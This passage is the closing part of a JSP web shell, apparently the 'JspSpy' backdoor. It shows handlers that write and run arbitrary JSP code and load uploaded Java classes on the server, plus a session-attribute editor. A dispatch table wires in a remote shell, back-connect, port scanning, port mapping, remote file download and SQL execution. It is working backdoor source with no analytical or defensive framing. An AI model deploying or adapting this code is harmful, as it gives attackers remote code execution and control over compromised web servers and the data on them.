3049 }
3050 }
3051 private static class EvalInvoker extends DefaultInvoker {
3052 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3053 String type = request.getParameter("type");
3054 PrintWriter out = response.getWriter();
3055 Object msg = JSession.getAttribute(MSG);
3056 if (msg != null) {
3057 Util.outMsg(out,(String)msg);
3058 JSession.removeAttribute(MSG);
3059 }
3060 if (Util.isEmpty(type)) {
3061 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3062 " <tr>"+
3063 " <td><h2>Eval Java Code »</h2>"+
3064 "<hr/>"+
3065 " <p>"+
3066 " <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
3067 "UpLoad a Class File : ");
3068 Util.outMsg(out,"<pre>"+
3069 "<span style='color:blue'>public class</span> SpyEval{\r\n"+
3070 " <span style='color:blue'>static</span> {\r\n"+
3071 " <span style='color:green'>//Your Code Here.</span>\r\n"+
3072 " }\r\n"+
3073 "}\r\n"+
3074 "</pre>","left");
3075 out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
3076 " <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
3077 " <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
3078 " <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
3079 " <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
3080 " </form>"+
3081 " </p>"+
3082 " </td>"+
3083 " </tr>"+
3084 "</table>");
3085 } else if (type.equals("jsp")){
3086 String jspc = request.getParameter("jspc");
3087 if (Util.isEmpty(jspc))
3088 return;
3089 File f = new File(SHELL_DIR,"evaltmpninty.jsp");
3090 BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
3091 writer.write(jspc,0,jspc.length());
3092 writer.flush();
3093 writer.close();
3094 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3095 " <tr>"+
3096 " <td><h2>Jsp Eval Result »</h2>");
3097 out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
3098 request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
3099 out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
3100 f.delete();
3101 }
3102 }
3103 }
3104 private static class EvalUploadInvoker extends DefaultInvoker {
3105 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3106 ByteArrayOutputStream stream = new ByteArrayOutputStream();
3107 UploadBean upload = new UploadBean();
3108 upload.setTargetOutput(stream);
3109 upload.parseRequest(request);
3110
3111 if (stream.toByteArray().length == 2) {
3112 JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
3113 ((Invoker)ins.get("ev")).invoke(request,response,JSession);
3114 return;
3115 }
3116 SpyClassLoader loader = new SpyClassLoader();
3117 try {
3118 Class c = loader.defineClass(null,stream.toByteArray());
3119 c.newInstance();
3120 }catch(Exception e) {
3121 }
3122 stream.close();
3123 JSession.setAttribute(MSG,"Eval Java Class Done ! ");
3124 ((Invoker)ins.get("ev")).invoke(request,response,JSession);
3125 }
3126 }
3127 private static class VOtherInvoker extends DefaultInvoker {
3128 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3129 try {
3130 PrintWriter out = response.getWriter();
3131 Object msg = JSession.getAttribute(MSG);
3132 if (msg != null) {
3133 Util.outMsg(out,(String)msg);
3134 JSession.removeAttribute(MSG);
3135 }
3136 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3137 " <tr>"+
3138 " <td><h2 id=\"Bin_H2_Title\">Session Manager>></h2><hr/>"+
3139 " <div id=\"hOWTm\" style=\"line-height:30px\">"+
3140 " <ul>");
3141 Enumeration en = JSession.getAttributeNames();
3142 while (en.hasMoreElements()) {
3143 Object o = en.nextElement();
3144 if (o.toString().equals(MSG))
3145 continue;
3146 out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
3147 out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
3148 out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
3149 out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
3150 out.println("</form></li>");
3151 }
3152 out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
3153 "<legend>New Session Attribute</legend>"+
3154 "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
3155 " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
3156 " </fieldset></form></li></ul></div></td>"+
3157 " </tr>"+
3158 " </table>");
3159 } catch (Exception e) {
3160 throw e ;
3161 }
3162 }
3163 }
3164 //Session Manager
3165 private static class SmInvoker extends DefaultInvoker {
3166 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3167 try {
3168 String type = request.getParameter("type");
3169 PrintWriter out = response.getWriter();
3170 if (type.equals("update")) {
3171 String name = request.getParameter("name");
3172 String value = request.getParameter("value");
3173 JSession.setAttribute(name,value);
3174 JSession.setAttribute(MSG,"Update/Add Attribute Success !");
3175 } else if (type.equals("delete")) {
3176 String name = request.getParameter("name");
3177 JSession.removeAttribute(name);
3178 JSession.setAttribute(MSG,"Remove Attribute Success !");
3179 }
3180 ((Invoker)ins.get("vother")).invoke(request,response,JSession);
3181 } catch (Exception e) {
3182
3183 throw e ;
3184 }
3185 }
3186 }
3187
3188 static{
3189 ins.put("script",new ScriptInvoker());
3190 ins.put("before",new BeforeInvoker());
3191 ins.put("after",new AfterInvoker());
3192 ins.put("deleteBatch",new DeleteBatchInvoker());
3193 ins.put("clipboard",new ClipBoardInvoker());
3194 ins.put("vPortScan",new VPortScanInvoker());
3195 ins.put("portScan",new PortScanInvoker());
3196 ins.put("vConn",new VConnInvoker());
3197 ins.put("dbc",new DbcInvoker());
3198 ins.put("executesql",new ExecuteSQLInvoker());
3199 ins.put("vLogin",new VLoginInvoker());
3200 ins.put("login",new LoginInvoker());
3201 ins.put("filelist", new FileListInvoker());
3202 ins.put("logout",new LogoutInvoker());
3203 ins.put("upload",new UploadInvoker());
3204 ins.put("copy",new CopyInvoker());
3205 ins.put("bottom",new BottomInvoker());
3206 ins.put("vCreateFile",new VCreateFileInvoker());
3207 ins.put("vEdit",new VEditInvoker());
3208 ins.put("createFile",new CreateFileInvoker());
3209 ins.put("vEditProperty",new VEditPropertyInvoker());
3210 ins.put("editProperty",new EditPropertyInvoker());
3211 ins.put("vs",new VsInvoker());
3212 ins.put("shell",new ShellInvoker());
3213 ins.put("down",new DownInvoker());
3214 ins.put("vd",new VdInvoker());
3215 ins.put("downRemote",new DownRemoteInvoker());
3216 ins.put("index",new IndexInvoker());
3217 ins.put("mkdir",new MkDirInvoker());
3218 ins.put("move",new MoveInvoker());
3219 ins.put("removedir",new RemoveDirInvoker());
3220 ins.put("packBatch",new PackBatchInvoker());
3221 ins.put("pack",new PackInvoker());
3222 ins.put("unpack",new UnPackInvoker());
3223 ins.put("vmp",new VmpInvoker());
3224 ins.put("vbc",new VbcInvoker());
3225 ins.put("backConnect",new BackConnectInvoker());
3226 ins.put("jspEnv",new JspEnvInvoker());
3227 ins.put("smp",new SmpInvoker());
3228 ins.put("mapPort",new MapPortInvoker());
3229 ins.put("top",new TopInvoker());
3230 ins.put("vso",new VOnLineShellInvoker());
3231 ins.put("online",new OnLineInvoker());
3232 ins.put("enter",new EnterInvoker());
3233 ins.put("export",new ExportInvoker());
3234 ins.put("ev",new EvalInvoker());
3235 ins.put("eu",new EvalUploadInvoker());
3236 ins.put("vother",new VOtherInvoker());
3237 ins.put("sm",new SmInvoker());
3238 ins.put("vExport",new VExport2FileInvoker());
3239 ins.put("vPack",new VPackConfigInvoker());
3240 ins.put("reflect",new ReflectInvoker());
3241 ins.put("portBack",new PortBackInvoker());
3242 }
3243%>
3244<%
3245 try {
3246 String o = request.getParameter("o");
3247 if (Util.isEmpty(o)) {
3248 if (session.getAttribute(SESSION_O) == null)
3249 o = "index";
3250 else {
3251 o = session.getAttribute(SESSION_O).toString();
3252 session.removeAttribute(SESSION_O);
3253 }
3254 }
3255 Object obj = ins.get(o);
3256 if (obj == null) {
3257 response.sendRedirect(SHELL_NAME);
3258 } else {
3259 Invoker in = (Invoker)obj;
3260 if (in.doBefore()) {
3261 String path = request.getParameter("folder");
3262 if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
3263 session.setAttribute(CURRENT_DIR,path);
3264 ((Invoker)ins.get("before")).invoke(request,response,session);
3265 ((Invoker)ins.get("script")).invoke(request,response,session);
3266 ((Invoker)ins.get("top")).invoke(request,response,session);
3267 }
3268 in.invoke(request,response,session);
3269 if (!in.doAfter()) {
3270 return;
3271 }else{
3272 ((Invoker)ins.get("bottom")).invoke(request,response,session);
3273 ((Invoker)ins.get("after")).invoke(request,response,session);
3274 }
3275 }
3276 } catch (Exception e) {
3277 Object msg = session.getAttribute(MSG);
3278 if (msg != null) {
3279 Util.outMsg(out,(String)msg);
3280 session.removeAttribute(MSG);
3281 }
3282 if (e.toString().indexOf("ClassCastException") != -1) {
3283 Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
3284 }
3285 ByteArrayOutputStream bout = new ByteArrayOutputStream();
3286 e.printStackTrace(new PrintStream(bout));
3287 session.setAttribute(CURRENT_DIR,SHELL_DIR);
3288 Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
3289 bout.close();
3290 out.flush();
3291 ((Invoker)ins.get("bottom")).invoke(request,response,session);
3292 ((Invoker)ins.get("after")).invoke(request,response,session);
3293 }
3294%>